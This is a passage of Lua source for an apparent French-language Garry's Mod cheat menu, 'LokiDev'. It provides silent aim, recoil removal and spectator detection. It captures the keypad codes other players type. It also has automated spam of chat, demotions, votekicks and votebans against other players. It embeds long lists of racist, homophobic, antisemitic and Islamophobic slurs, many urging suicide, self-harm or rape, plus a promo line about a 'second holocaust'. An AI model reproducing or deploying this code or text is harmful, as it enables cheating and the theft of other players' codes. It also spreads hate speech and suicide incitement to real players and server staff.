  3316. if ZNX.ScannerButton1 then ZNX.ScannerButton1:Remove() end
  3317. if ZNX.ScannerButton2 then ZNX.ScannerButton2:Remove() end
  3318. end
  3319. end
  3320. ZNX.MouseReleased = false
  3321. function ZNX.ToggleFreeMouse()
  3322. if !ZNX.MouseReleased then
  3323. gui.EnableScreenClicker( true )
  3324. ZNX.MouseReleased = true
  3325. else
  3326. gui.EnableScreenClicker( false )
  3327. ZNX.MouseReleased = false
  3328. end
  3329. end
  3330. concommand.Add("LokiDev_toggle_mouse_cursor", ZNX.ToggleFreeMouse)
  3331. function ZNX.CalcView( ply, pos, angles, fov )
  3332. local me = LocalPlayer()
  3333. if !me:IsValid() or !me:Alive() or me:GetViewEntity() != me or me:InVehicle() then return end
  3334. local tps = {}
  3335. if ZNX.Vars.SilentAim and !ZNX.Vars.Thirdperson and lastoldang and isangle( lastoldang ) then
  3336. tps.origin = me:EyePos()
  3337. tps.angles = lastoldang
  3338. tps.fov = fov
  3339. return tps
  3340. end
  3341. if ZNX.Vars.NoRecoil and !ZNX.Vars.Thirdperson and !ZNX.Enabled then
  3342. -- tps.origin = me:EyePos()
  3343. tps.angles = me:EyeAngles()
  3344. -- tps.fov = fov
  3345. local ply = LocalPlayer()
  3346. local weapon = ply:GetActiveWeapon()
  3347. if weapon.Primary then
  3348. if weapon.Primary.Recoil then
  3349. weapon.Primary.Recoil = 0
  3350. end
  3351. if weapon.Primary.KickUp then
  3352. weapon.Primary.KickUp = 0
  3353. weapon.Primary.KickDown = 0
  3354. weapon.Primary.KickHorizontal = 0
  3355. end
  3356. end
  3357. return tps
  3358. end
  3359. if ZNX.Vars.Thirdperson then
  3360. if ZNX.RenderPanic then return end
  3361. local trace = util.TraceLine( { start = pos - ply:GetForward() * 2, endpos = pos - angles:Forward() * ZNX.NumberVars.TPSDistance, filter = player.GetAll(), mask = MASK_SHOT } )
  3362. tps.origin = trace.HitPos + ply:GetForward() * 20 + ply:GetRight() * ZNX.NumberVars.TPSOffset
  3363. tps.angles = angles
  3364. tps.fov = fov
  3365. return tps
  3366. end
  3367. end
  3368. hook.Add("CalcView", "znx_calcview", ZNX.CalcView)
  3369. function ZNX.ICanSeeMyAss( ply )
  3370. if ZNX.Vars.Thirdperson then return true end
  3371. return false
  3372. end
  3373. hook.Add("ShouldDrawLocalPlayer", "znx_drawplayer", ZNX.ICanSeeMyAss)
  3374. -- it would be very wise to keep this Désactiver for now
  3375. --[[
  3376. function ZNX.Transparency()
  3377. if ZNX.Vars.XrayProps then
  3378. for k, v in pairs(ents.GetAll()) do
  3379. render.SuppressEngineLighting( true )
  3380. end
  3381. end
  3382. end
  3383. hook.Add("RenderScene", "znx_transparency", ZNX.Transparency)
  3384. --]]
  3385. function ZNX.CheckWitnesses()
  3386. if !ZNX.Vars.WitnessDetector then return end
  3387. ZNX.Witnesses = {}
  3388. for k, v in pairs(player.GetAll()) do
  3389. if v:IsValid() and v != LocalPlayer() then
  3390. local Trace = {}
  3391. Trace.start = LocalPlayer():EyePos() + Vector(0, 0, 32)
  3392. Trace.endpos = v:EyePos() + Vector(0, 0, 32)
  3393. Trace.filter = {v, LocalPlayer()}
  3394. TraceRes = util.TraceLine(Trace)
  3395. if !TraceRes.Hit then
  3396. if (v:EyeAngles():Forward():Dot((LocalPlayer():EyePos() - v:EyePos())) > math.cos(math.rad(45))) then
  3397. if !table.HasValue(ZNX.Witnesses, v) then table.insert( ZNX.Witnesses, v ) end
  3398. end
  3399. end
  3400. end
  3401. end
  3402. end
  3403. timer.Create("znx_WitnessCheck", 0.5, 0, ZNX.CheckWitnesses)
  3404. function ZNX.XrayShutoff()
  3405. for k, v in pairs(ents.GetAll()) do
  3406. v:SetColor(Color(255,255,255,255))
  3407. end
  3408. end
  3409. local demotereasons = {
  3410. "Nègre",
  3411. "Fils de putain",
  3412. "Tête de bite",
  3413. "Sale Gay",
  3414. "Batard",
  3415. "Salope",
  3416. "Abruti",
  3417. "Blaireau",
  3418. "Sac a merde",
  3419. "Trou du cul",
  3420. "Serveur de merde",
  3421. "Con comme ses pieds",
  3422. "Bougnoul",
  3423. "Con comme une chaise",
  3424. "Con comme une valise sans poignée",
  3425. "Envaselineur",
  3426. "Fils de chienne",
  3427. }
  3428. ------------------------------------------------------------------------INSULT GENERATOR--------------------------------------------------------------------------------------
  3429. local openers = {
  3430. "va te faire baiser",
  3431. "mange merde",
  3432. "encule un babouin",
  3433. "meurent dans un incendie",
  3434. "gaz toi",
  3435. "assis toi sur un cisaille de jardinier",
  3436. "pousse une brique dans ton cul",
  3437. "avale des barbelés",
  3438. "dégage en Suède",
  3439. "encule un cochon",
  3440. "Incline toi devant moi",
  3441. "suce mes boule en sueur",
  3442. "revient quand tu ne sera plus un déchets",
  3443. "je pisserai sur tout ce que tu aime",
  3444. "suicide toi",
  3445. "pends toi",
  3446. "étouffe-toi avec ta bite",
  3447. "sort la de ton cul",
  3448. "assis toi sur une bite de cheval",
  3449. "fait toi violé",
  3450. "fait toi violer par des nègres",
  3451. "ta mère est une putain",
  3452. "viens a moi",
  3453. "pourquoi tu ne t'es pas encore suicidé",
  3454. "pourquoi tu existe ?",
  3455. "explose toi les couilles avec un fusil",
  3456. "fait toi stériliser",
  3457. "converti toi a l'islam",
  3458. "bois de l'eau de javel",
  3459. "supprime toi",
  3460. "étouffe toi sur une bite des baleine",
  3461. "suce de la merde",
  3462. "suce une bite",
  3463. "léche mon sphincter",
  3464. "mets-toi le feu",
  3465. "fait toi battre a mort par ton père",
  3466. "étouffer toi sur la bite de ton oncle",
  3467. "va te faire écraser par une féministe de 200 kg",
  3468. "rejoin daesh",
  3469. "enfonce ta bite dans un mixeur",
  3470. "fait une overdose de meth",
  3471. "allonge toi sous un camion",
  3472. "léche une prise électrique",
  3473. "avale des charbons ardents",
  3474. "meurent lentement",
  3475. "fait toi exploser",
  3476. "fait toi tirer dans un bar gay",
  3477. "bois ton foutre",
  3478. "épouse un musulman",
  3479. "frotte ta bite sur une râpe a fromage",
  3480. "enveloppe un râteau avec du fil barbelé et rentre le dans ton cul",
  3481. }
  3482. local buyourshitfaggot = {
  3483. "VAC + HAC + SAC : NON DÉTECTÉ",
  3484. "DEVIENT UN MEILLEUR JOUEUR",
  3485. "EXÉCUTEZ TOUTS LES SCRIPTS LUA : NON DÉTECTÉ",
  3486. "SOYEZ LE MEILLEUR QUAND VOUS ACHETEZ LE MEILLEUR",
  3487. "FAITE PLEURER LES ENFANTS EN DARKRP",
  3488. "DÉMOLIR LE LUA",
  3489. "ENVOYER LES NOOBS DANS LA SALETÉ",
  3490. "FAITE CRASH LES SERVEURS",
  3491. "HACK PARTOUT, N'IMPORTE QUAND, N'IMPORTE QUI",
  3492. "DÉTRUIRE TOUS LES ANTICHEATS",
  3493. "DÉTEND LES FÉMINISTES",
  3494. "LANCER UN SECOND HOLOCAUSTE",
  3495. "FATIGUÉ D'ÊTRE UN PUTAIN DE PERDANT ?",
  3496. "DEVIENT UNBANNISSABLE",
  3497. "#1 CAUSE DES SUICIDES D'ADMIN",
  3498. "PAS DE GROSSE",
  3499. "AIME-TU TRICHER ?",
  3500. "ETRE RÉGLO C'EST POUR LES PERDANTS",
  3501. "VOS LOOSERS DE PARENTS NE VOUS ONT JAMAIS ACHETÉ DE JOUETS CES COOL",
  3502. }
  3503. function ZNX.GenerateInsult()
  3504. return table.Random(openers)
  3505. end
  3506. function ZNX.GeneratePromo()
  3507. return table.Random(buyourshitfaggot).." --> NIQUE TA MERE"
  3508. end
  3509. function ZNX.FormatChatString( str )
  3510. str = string.Replace( str, "@1", ZNX.GenerateInsult() )
  3511. str = string.Replace( str, "@PrenezLokidevMenu", ZNX.GeneratePromo() )
  3512. return str
  3513. end
  3514. concommand.Add("LokiDev_insult", function() LocalPlayer():ConCommand("say "..ZNX.GenerateInsult() ) end)
  3515. concommand.Add("LokiDev_chatspam_once", function()
  3516. local txt = ZNX.ChatSpamText
  3517. if ZNX.Vars.ChatSpamOOC then txt = "// "..txt end
  3518. txt = ZNX.FormatChatString( txt )
  3519. if ZNX.Vars.ChatSpamPM then
  3520. for _, p in pairs(player.GetAll()) do
  3521. if !ZNX.Vars.ChatSpamPMAdmins and ZNX.GetRank( p ) != ( "user" or "guest" or "player" ) then continue end
  3522. RunConsoleCommand("ulx", "psay", p:Nick(), txt)
  3523. end
  3524. else
  3525. RunConsoleCommand("say", txt)
  3526. end
  3527. end)
  3528. --ZNX.CurrentBase = 0
  3529. --ZNX.BaseAreaSize = 2000
  3530. function ZNX.SetBase()
  3531. ZNX.ChatText( "Set base location", Color(255,255,255) )
  3532. ZNX.CurrentBase = LocalPlayer():GetPos()
  3533. end
  3534. concommand.Add( "LokiDev_base_set", ZNX.SetBase )
  3535. function ZNX.UnsetBase()
  3536. ZNX.ChatText( "Removed base", Color(255,255,255) )
  3537. ZNX.CurrentBase = 0
  3538. end
  3539. concommand.Add( "LokiDev_base_remove", ZNX.UnsetBase )
  3540. function ZNX.SetBaseSize( p, cmd, arg, astr )
  3541. if !tonumber( arg[1] ) then ZNX.ChatText( "Veuillez spécifier un rayon de base valide en mètres", Color(255,205,205) ) return end
  3542. ZNX.ChatText( "Rayon de proximité de la base défini sur "..arg[1].."m", Color(255,255,255) )
  3543. ZNX.BaseAreaSize = arg[1]
  3544. end
  3545. concommand.Add( "LokiDev_base_setsize", ZNX.SetBaseSize )
  3546. local elements = {
  3547. { -- Screen
  3548. x = 0.075,
  3549. y = 0.04,
  3550. w = 0.85,
  3551. h = 0.25,
  3552. },
  3553. { -- ABORT
  3554. x = 0.075,
  3555. y = 0.04 + 0.25 + 0.03,
  3556. w = 0.85 / 2 - 0.04 / 2 + 0.05,
  3557. h = 0.125,
  3558. text = "ABORT",
  3559. },
  3560. { -- OK
  3561. x = 0.5 + 0.04 / 2 + 0.05,
  3562. y = 0.04 + 0.25 + 0.03,
  3563. w = 0.85 / 2 - 0.04 / 2 - 0.05,
  3564. h = 0.125,
  3565. text = "OK",
  3566. }
  3567. }
  3568. do -- Create numbers
  3569. for i = 1, 9 do
  3570. local column = (i - 1) % 3
  3571. local row = math.floor((i - 1) / 3)
  3572. local element = {
  3573. x = 0.075 + (0.3 * column),
  3574. y = 0.175 + 0.25 + 0.05 + ((0.5 / 3) * row),
  3575. w = 0.25,
  3576. h = 0.13,
  3577. text = tostring(i),
  3578. }
  3579. table.insert(elements, element)
  3580. end
  3581. end
  3582. function ZNX.CalculateKeypadCursorPos(ply, ent)
  3583. if !ply:IsValid() then return end
  3584. local tr = util.TraceLine( { start = ply:EyePos(), endpos = ply:EyePos() + ply:GetAimVector() * 65, filter = ply } )
  3585. if !tr.Entity or tr.Entity ~= ent then return 0, 0 end
  3586. local scale = ent.Scale
  3587. if !scale then return 0, 0 end
  3588. local pos, ang = ent:CalculateRenderPos(), ent:CalculateRenderAng()
  3589. if !pos or !ang then return 0, 0 end
  3590. local normal = ent:GetForward()
  3591. local intersection = util.IntersectRayWithPlane(ply:EyePos(), ply:GetAimVector(), pos, normal)
  3592. if !intersection then return 0, 0 end
  3593. local diff = pos - intersection
  3594. local x = diff:Dot( -ang:Forward() ) / scale
  3595. local y = diff:Dot( -ang:Right() ) / scale
  3596. return x, y
  3597. end
  3598. function ZNX.KPGetHoveredElement(ply, ent)
  3599. local scale = ent.Scale
  3600. local w, h = ent.Width2D, ent.Height2D
  3601. local x, y = ZNX.CalculateKeypadCursorPos(ply, ent)
  3602. for _, element in ipairs(elements) do
  3603. local element_x = w * element.x
  3604. local element_y = h * element.y
  3605. local element_w = w * element.w
  3606. local element_h = h * element.h
  3607. if element_x < x and element_x + element_w > x and
  3608. element_y < y and element_y + element_h > y
  3609. then
  3610. return element
  3611. end
  3612. end
  3613. end
  3614. ZNX.ShekelGrabbers = {}
  3615. local nxsuicidemsg = 0
  3616. function ZNX.Logic()
  3617. local me = LocalPlayer()
  3618. if !me:IsValid() then return end
  3619. local lmemfootprint = gcinfo()
  3620. for k, v in pairs(player.GetAll()) do
  3621. -- spectator detector
  3622. if( v:GetObserverTarget() and v != me and v:GetObserverTarget() == me and !table.HasValue( ZNX.TheyHaveEyesEverywhere, v ) ) then
  3623. surface.PlaySound("buttons/bell1.wav")
  3624. ZNX.ChatText( v:Nick().." te regarde en spéctateur!", Color(255,100,0) )
  3625. table.insert( ZNX.TheyHaveEyesEverywhere, v )
  3626. end
  3627. if ZNX.Vars.DodgeArrest then
  3628. if v != me and v:EyePos():Distance( me:GetPos() ) < 120 and me:Alive() and ( v:GetActiveWeapon() and v:GetActiveWeapon():IsValid() and v:GetActiveWeapon():GetClass() == "arrest_stick" ) then
  3629. if nxsuicidemsg <= CurTime() then
  3630. ZNX.ChatText( "Automatiquement suicidé pour éviter d'être arrêté par "..v:Nick(), Color(255,255,255) )
  3631. nxsuicidemsg = CurTime() + 1
  3632. end
  3633. RunConsoleCommand( "kill" )
  3634. end
  3635. end
  3636. if ZNX.Vars.KeypadJew then
  3637. local kp = v:GetEyeTrace().Entity
  3638. if IsValid(kp) && IsValid(v) and string.find( kp:GetClass(), "Keypad") and v:EyePos():Distance(kp:GetPos()) <= 120 then
  3639. kp.tempCode = kp.tempCode or ""
  3640. kp.tempText = kp.tempText or ""
  3641. kp.tempStatus = kp.tempStatus or 0
  3642. if kp:GetText() != kp.tempText or kp:GetStatus() != kp.tempStatus then
  3643. kp.tempText = kp:GetText()
  3644. kp.tempStatus = kp:GetStatus()
  3645. if(kp.tempText && !kp:GetSecure()) then
  3646. kp.tempCode = kp.tempText
  3647. timer.Simple(0, function()
  3648. if kp:GetStatus() == 1 && kp.tempCode && kp.tempCode != "" then
  3649. kp.code = kp.tempCode
  3650. end
  3651. end)
  3652. else
  3653. local i = ZNX.KPGetHoveredElement(v, kp)
  3654. if (i) then i = i.text end
  3655. if kp.tempText then
  3656. timer.Simple(0, function()
  3657. if kp:GetStatus() == 1 && kp.tempCode && kp.tempCode != "" then
  3658. kp.code = kp.tempCode
  3659. end
  3660. end)
  3661. end
  3662. if kp.tempText == "" || kp:GetStatus() == 2 then
  3663. kp.tempCode = ""
  3664. end
  3665. timer.Simple(0, function()
  3666. if(tonumber(i) && kp:GetText():len() != 0) then
  3667. kp.tempCode = kp.tempCode..i
  3668. end
  3669. end)
  3670. end
  3671. end
  3672. end
  3673. end
  3674. if isvector( ZNX.CurrentBase ) then
  3675. --if v == me then continue end
  3676. if ZNX.ToMetric( v:GetPos():Distance( ZNX.CurrentBase ) ) < tonumber(ZNX.BaseAreaSize+ ZNX.NumberVars.AreaScrollerSize) then
  3677. if !table.HasValue( ZNX.ShekelGrabbers, v ) then
  3678. surface.PlaySound("buttons/bell1.wav")
  3679. if v == me then
  3680. ZNX.ChatText( "Vous etes entré dans votre Zone!", Color(150,150,150) )
  3681. else
  3682. ZNX.ChatText( v:Nick().." es entré dans votre Zone!", Color(255,205,0) )
  3683. end
  3684. table.insert( ZNX.ShekelGrabbers, v )
  3685. end
  3686. elseif table.HasValue( ZNX.ShekelGrabbers, v ) and ZNX.ToMetric( v:GetPos():Distance( ZNX.CurrentBase ) ) > tonumber(ZNX.BaseAreaSize+ ZNX.NumberVars.AreaScrollerSize) then
  3687. if v == me then
  3688. ZNX.ChatText( "Vous avez quitté votre Zone", Color(150,150,150) )
  3689. else
  3690. ZNX.ChatText( v:Nick().." a quitté votre Zone", Color(100,255,100) )
  3691. end
  3692. table.RemoveByValue( ZNX.ShekelGrabbers, v )
  3693. end
  3694. else
  3695. ZNX.ShekelGrabbers = {}
  3696. end
  3697. end
  3698. for k,v in pairs( ZNX.TheyHaveEyesEverywhere ) do
  3699. if( !IsValid( v ) ) then table.remove( ZNX.TheyHaveEyesEverywhere, k ) continue end
  3700. if( !v:GetObserverTarget() or ( v:GetObserverTarget() and v:GetObserverTarget() != me ) ) then
  3701. ZNX.ChatText( v:Nick().." a arreter de vous spectate!", Color(100,255,100) )
  3702. table.remove( ZNX.TheyHaveEyesEverywhere, k )
  3703. end
  3704. end
  3705. if ZNX.Vars.ChatSpam then
  3706. if ZNX.Vars.ChatSpamBind and !me:KeyDown(IN_WALK) then return end
  3707. local txt = ZNX.ChatSpamText
  3708. if ZNX.Vars.ChatSpamOOC then txt = "// "..txt end
  3709. txt = ZNX.FormatChatString( txt )
  3710. if ZNX.Vars.ChatSpamPM then
  3711. for _, p in pairs(player.GetAll()) do
  3712. if !ZNX.Vars.ChatSpamPMAdmins and ZNX.GetRank( p ) != ( "user" or "guest" or "player" ) then continue end
  3713. RunConsoleCommand("ulx", "psay", p:Nick(), txt)
  3714. end
  3715. else
  3716. RunConsoleCommand("say", txt)
  3717. end
  3718. end
  3719. if ZNX.Vars.DemoteSpam or ZNX.Vars.WantedSpam or ZNX.Vars.ULXVotekickSpam or ZNX.Vars.ULXVotebanSpam then
  3720. for k, v in RandomPairs(player.GetAll()) do
  3721. if ZNX.IsFriend( v ) or v == me then continue end
  3722. local fag1, fag2 = table.Random( demotereasons )
  3723. if ZNX.Vars.DemoteSpam then RunConsoleCommand( "darkrp", "demote", v:Nick(), fag1 ) end
  3724. if ZNX.Vars.WantedSpam then RunConsoleCommand( "darkrp", "wanted", v:Nick(), fag1 ) end
  3725. if ZNX.Vars.ULXVotekickSpam then RunConsoleCommand( "ulx", "votekick", v:Nick(), fag1 ) end
  3726. if ZNX.Vars.ULXVotebanSpam then RunConsoleCommand( "ulx", "voteban", v:Nick(), "0" ) end
  3727. end
  3728. end
  3729. if ZNX.Vars.FlashlightSpam then
  3730. if input.IsKeyDown(KEY_F) then me:ConCommand("impulse 100") end
  3731. end
  3732. ZNX.MemoryDebug["logic"] = gcinfo() - lmemfootprint
  3733. end
  3734. hook.Add("Think", "znx_logic", ZNX.Logic)
  3735. function ZNX.PKTube()
  3736. local oldwep = false
  3737. if !LocalPlayer():IsOnGround() then ZNX.ChatText( "Vous ne pouvez pas lancer le tube quand vous n'êtes pas au sol!", Color(255,100,0) ) return end
  3738. if !LocalPlayer():HasWeapon("weapon_physgun") then ZNX.ChatText( "Vous n'avez pas de physgun!", Color(255,100,0) ) return end
  3739. if LocalPlayer():GetActiveWeapon():GetClass() != "weapon_physgun" then RunConsoleCommand( "use", "weapon_physgun" ) oldwep = true end
  3740. ZNX.EyeAngles( LocalPlayer():EyeAngles() - Angle(-180,0,0) )
  3741. ZNX.ActionTimer( 0.05, function() RunConsoleCommand( "gm_spawn", "models/props_phx/construct/concrete_pipe01.mdl") end)
  3742. ZNX.ActionTimer( 0.05, function() ZNX.EyeAngles( LocalPlayer():EyeAngles() - Angle(120,0,0) ) end)
  3743. ZNX.ActionTimer( 0.1, function() RunConsoleCommand( "+attack") end)
  3744. ZNX.ActionTimer( 0.05, function() ZNX.ScrollDelta = 100 end)
  3745. ZNX.ActionTimer( 0.1, function() RunConsoleCommand( "-attack") ZNX.ScrollDelta = 0 end)
  3746. if oldwep then
  3747. ZNX.ActionTimer( 0.01, function() RunConsoleCommand( "lastinv") end)
  3748. end
  3749. ZNX.ActionTimer( 0.1, function() RunConsoleCommand( "undo") end, true)
  3750. end
  3751. concommand.Add("LokiDev_pk_tubelaunch", ZNX.PKTube)
  3752. function ZNX.PK180()
  3753. ZNX.EyeAngles( Angle(LocalPlayer():EyeAngles().p, LocalPlayer():EyeAngles().y - 180, LocalPlayer():EyeAngles().r) )
  3754. end
  3755. concommand.Add("LokiDev_pk_180", ZNX.PK180)
  3756. function ZNX.PK180Up()
  3757. --ZNX.EyeAngles( Angle(LocalPlayer():EyeAngles().p, LocalPlayer():EyeAngles().y - 180, LocalPlayer():EyeAngles().r) )
  3758. ZNX.EyeAngles( Angle( -LocalPlayer():EyeAngles().p, LocalPlayer():EyeAngles().y - 180, LocalPlayer():EyeAngles().r) )
  3759. RunConsoleCommand( "+jump")
  3760. timer.Simple(0.1, function() RunConsoleCommand( "-jump") end)
  3761. end
  3762. concommand.Add("LokiDev_pk_180up", ZNX.PK180Up)
  3763. function ZNX.ClimbSwep()
  3764. local oldang = LocalPlayer():EyeAngles()
  3765. ZNX.EyeAngles( Angle( -LocalPlayer():EyeAngles().p, LocalPlayer():EyeAngles().y - 90, LocalPlayer():EyeAngles().r) )
  3766. timer.Simple(0.15, function() ZNX.EyeAngles( oldang ) end)
  3767. end
  3768. concommand.Add("LokiDev_climbswep", ZNX.ClimbSwep)
  3769. function ZNX.EyeAngles( ang )
  3770. local ang = Angle(math.Clamp(ang.p, -90, 90), ang.y, ang.r)
  3771. ang:Normalize()
  3772. LocalPlayer():SetEyeAngles(ang)
  3773. end
  3774. local actiontime = 0
  3775. function ZNX.ActionTimer( delay, func, terminate )
  3776. terminate = terminate or false
  3777. actiontime = actiontime + delay + (LocalPlayer():Ping() / 1000)
  3778. timer.Simple( actiontime, func)
  3779. if terminate then actiontime = 0 end
  3780. end
  3781. function ZNX.CanSee( ply )
  3782. local Trace = util.TraceLine( {
  3783. start = LocalPlayer():GetShootPos(),
  3784. endpos = ZNX.FindTargetPosition( ply ),
  3785. mask = MASK_SHOT,
  3786. filter = { LocalPlayer(), ply }
  3787. } )
  3788. return !Trace.Hit
  3789. end
  3790. ------------------------------------------------------------------------PROPKILL UTILS--------------------------------------------------------------------------------------
  3791. function ZNX.PhysgunPickup( p, e )
  3792. if ZNX.Vars.DontTouchMeThere and e == LocalPlayer() then RunConsoleCommand( "kill" ) end
  3793. ZNX.HoldingProp = e
  3794. end
  3795. function ZNX.PhysgunDrop( p, e )
  3796. -- ZNX.HoldingProp = game.GetWorld()
  3797. end
  3798. hook.Add( "PhysgunPickup", "znx_physgun", ZNX.PhysgunPickup )
  3799. hook.Add( "PhysgunDrop", "znx_physgun", ZNX.PhysgunDrop )
  3800. ------------------------------------------------------------------------WEAPON INSPECTOR--------------------------------------------------------------------------------------
  3801. local function gaytext( parent, text, vpos, color )
  3802. local ABLabel = vgui.Create( "DLabel", parent )
  3803. ABLabel:SetFont( "TargetID" )
  3804. ABLabel:SetPos( 20, vpos)
  3805. ABLabel:SetColor( color )
  3806. ABLabel:SetText( text )
  3807. ABLabel:SizeToContents()
  3808. end
  3809. local overrides = {
  3810. ["weapon_crowbar"] = {
  3811. Damage = 25,
  3812. NumShots = 1,
  3813. ClipSize = 1,
  3814. Delay = 0.404
  3815. },
  3816. ["weapon_stunstick"] = {
  3817. Damage = 40,
  3818. NumShots = 1,
  3819. ClipSize = 1,
  3820. Delay = 0.81
  3821. },
  3822. ["weapon_pistol"] = {
  3823. Damage = 12,
  3824. NumShots = 1,
  3825. ClipSize = 18,
  3826. Ammo = "pistol",
  3827. Delay = 0.12,
  3828. },
  3829. ["weapon_357"] = {
  3830. Damage = 75,
  3831. NumShots = 1,
  3832. ClipSize = 6,
  3833. Ammo = "357",
  3834. Delay = 0.75,
  3835. },
  3836. ["weapon_smg1"] = {
  3837. Damage = 12,
  3838. NumShots = 1,
  3839. ClipSize = 45,
  3840. Ammo = "SMG1",
  3841. Delay = 0.075,
  3842. },
  3843. ["weapon_shotgun"] = {
  3844. Damage = 4,
  3845. NumShots = 7,
  3846. ClipSize = 6,
  3847. Ammo = "buckshot",
  3848. Delay = 0.9,
  3849. },
  3850. ["weapon_ar2"] = {
  3851. Damage = 11,
  3852. NumShots = 1,
  3853. ClipSize = 30,
  3854. Delay = 0.105,
  3855. },
  3856. ["weapon_crossbow"] = {
  3857. Damage = 100,
  3858. NumShots = 1,
  3859. ClipSize = 1,
  3860. Delay = 1.95,
  3861. },
  3862. ["weapon_rpg"] = {
  3863. Damage = 150,
  3864. NumShots = 1,
  3865. ClipSize = 1,
  3866. Delay = 2.2,
  3867. },
  3868. ["weapon_frag"] = {
  3869. Damage = 150,
  3870. NumShots = 1,
  3871. ClipSize = 1,
  3872. Delay = 1.95,
  3873. },
  3874. ["fas2_rem870"] = {
  3875. Delay = .86,
  3876. },
  3877. ["fas2_ks23"] = {
  3878. Delay = 1.11,
  3879. },
  3880. ["fas2_m67"] = {
  3881. Damage = 160,
  3882. Delay = 1.75,
  3883. },
  3884. }
  3885. local ammostrings = {
  3886. pistol = "HL2 Pistol",
  3887. smg1 = "HL2 SMG",
  3888. ar2 = "HL2 Pulse Rifle",
  3889. ["357"] = "HL2 Magnum",
  3890. buckshot = "HL2 Shotgun",
  3891. rpg_round = "HL2 Rocket",
  3892. }
  3893. function ZNX.GunMenu()
  3894. if GMenu then return end
  3895. local GMenu = vgui.Create("DFrame")
  3896. GMenu:SetSize(590,520)
  3897. GMenu:SetTitle("Inspection de votre arme")
  3898. GMenu:Center()
  3899. GMenu:MakePopup()
  3900. GMenu.Paint = function(panel, w, h)
  3901. surface.SetDrawColor( ZNX.DefaultScheme )
  3902. surface.DrawRect( 0, 0, w, h )
  3903. surface.SetDrawColor( Color(155, 155, 155, 255) )
  3904. surface.DrawOutlinedRect( 0, 0, w, h )
  3905. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  3906. surface.SetDrawColor( Color(0, 0, 0, 255) )
  3907. surface.DrawRect( 10, 25, w - 20, h - 35 )
  3908. end
  3909. local gun = LocalPlayer():GetActiveWeapon()
  3910. if !gun:IsValid() then return end
  3911. local m9gay = false
  3912. local fas = false
  3913. local cw2 = false
  3914. if gun.Base == "bobs_gun_base" or gun.Base == "bobs_shotty_base" or gun.Base == "bobs_scoped_base" then m9gay = true end
  3915. if gun.Base == "fas2_base" or gun.Base == "fas2_base_shotgun" then fas = true end
  3916. if gun.Base == "cw_base" then cw2 = true end
  3917. gaytext( GMenu, "Nom de l'Arme: "..gun:GetPrintName(), 30, Color(205,225,255,255) )
  3918. gaytext( GMenu, "Classe d'Arme: "..gun:GetClass(), 50, Color(105,225,255,255) )
  3919. //////////////////////////////// hl2 guns ////////////////////////////////
  3920. if !gun.Primary then gun.Primary = {} end
  3921. if overrides[gun:GetClass()] then
  3922. local tab = overrides[gun:GetClass()]
  3923. for k, v in pairs(tab) do
  3924. gun.Primary[k] = v
  3925. end
  3926. end
  3927. //////////////////////////////// weapon stat workarounds ////////////////////////////////
  3928. local delay = 0
  3929. if gun.Primary.Delay then
  3930. delay = gun.Primary.Delay
  3931. elseif m9gay then
  3932. delay = 60 / gun.Primary.RPM
  3933. elseif fas or cw2 then
  3934. delay = gun.FireDelay
  3935. end
  3936. local gdmg = 0
  3937. if gun.Primary.Damage then
  3938. gdmg = gun.Primary.Damage
  3939. elseif fas or cw2 then
  3940. gdmg = gun.Damage
  3941. end
  3942. local gnumshots = 1
  3943. if gun.Primary.NumShots then
  3944. gnumshots = gun.Primary.NumShots
  3945. elseif fas or cw2 then
  3946. gnumshots = gun.Shots or 1
  3947. end
  3948. local gcone = 0
  3949. if gun.Primary.Cone then
  3950. gcone = gun.Primary.Cone
  3951. elseif m9gay then
  3952. gcone = gun.Primary.Spread
  3953. elseif fas then
  3954. gcone = gun.HipCone or 0
  3955. elseif cw2 then
  3956. gcone = gun.HipSpread or 0
  3957. end
  3958. local grecoil = 0
  3959. if gun.Primary.Recoil then
  3960. grecoil = gun.Primary.Recoil
  3961. elseif m9gay then
  3962. grecoil = gun.Primary.KickUp
  3963. elseif fas then
  3964. grecoil = gun.Recoil or 0
  3965. end
  3966. local voff = 90
  3967. gaytext( GMenu, "Dégâts: "..(gdmg or "nil").." ( x"..(gnumshots or "nil").." ) -- ("..(gdmg * gnumshots).." Au total)", voff, Color(255,225,155,255) )
  3968. voff = voff + 20
  3969. if gun.Primary.ClipSize then
  3970. if gun.Primary.ClipSize == -1 then gun.Primary.ClipSize = 1 end
  3971. gaytext( GMenu, "Dégâts par Chargeur: "..(gdmg * gnumshots) * gun.Primary.ClipSize, voff, Color(255,205,105,255) )
  3972. voff = voff + 20
  3973. end
  3974. gaytext( GMenu, "Dégâts par Seconde: "..math.ceil(1 / delay * (gdmg * gnumshots)), voff, Color(255,155,85,255) )
  3975. voff = voff + 20
  3976. if gun.Primary.ClipSize then
  3977. gaytext( GMenu, "Chargeurs: "..(gun.Primary.ClipSize or "Aucun Chargeurs"), voff, Color(255,195,195,255) )
  3978. voff = voff + 20
  3979. gaytext( GMenu, "Temps de Rechargement: "..math.Round(gun.Primary.ClipSize * delay, 3).."s", voff, Color(255,95,155,255) )
  3980. voff = voff + 20
  3981. end
  3982. gaytext( GMenu, "Précision: "..(10 - (gcone * 100) ), voff, Color(255,255,155,255) )
  3983. voff = voff + 20
  3984. if fas then
  3985. gaytext( GMenu, "Précision en Visé: "..(10 - (gun.AimCone or 0 * 100) ), voff, Color(155,255,155,255) )
  3986. voff = voff + 20
  3987. end
  3988. if cw2 then
  3989. gaytext( GMenu, "Précision en Visé: "..(10 - (gun.AimSpread or 0 * 100) ), voff, Color(155,255,155,255) )
  3990. voff = voff + 20
  3991. end
  3992. gaytext( GMenu, "Cadence de Tir: "..math.Round(delay, 3).." ( "..math.ceil(60 / delay).." Balles/Min )", voff, Color(255,255,155,255) )
  3993. voff = voff + 20
  3994. --gaytext( GMenu, "Recoil: "..grecoil.." ( "..math.Round((grecoil * 10) * 1 / delay, 1).." recoil per second ) ", voff, Color(205,255,125,255) )
  3995. --voff = voff + 20
  3996. if gun.Primary.Ammo then
  3997. local ammotyperaw = gun.Primary.Ammo
  3998. local ammotype = string.lower(gun.Primary.Ammo)
  3999. if ammostrings[ammotype] then ammotyperaw = ammostrings[ammotype] end
  4000. gaytext( GMenu, "Type de Munitions: "..ammotyperaw, voff, Color(105,255,125,255) )
  4001. voff = voff + 20
  4002. end
  4003. if m9gay then gaytext( GMenu, "Les dégâts et les stats TTK sont imprécis en raison du bug m9k double pénétration", voff, Color(255,0,0,255) ) end
  4004. voff = voff + 40
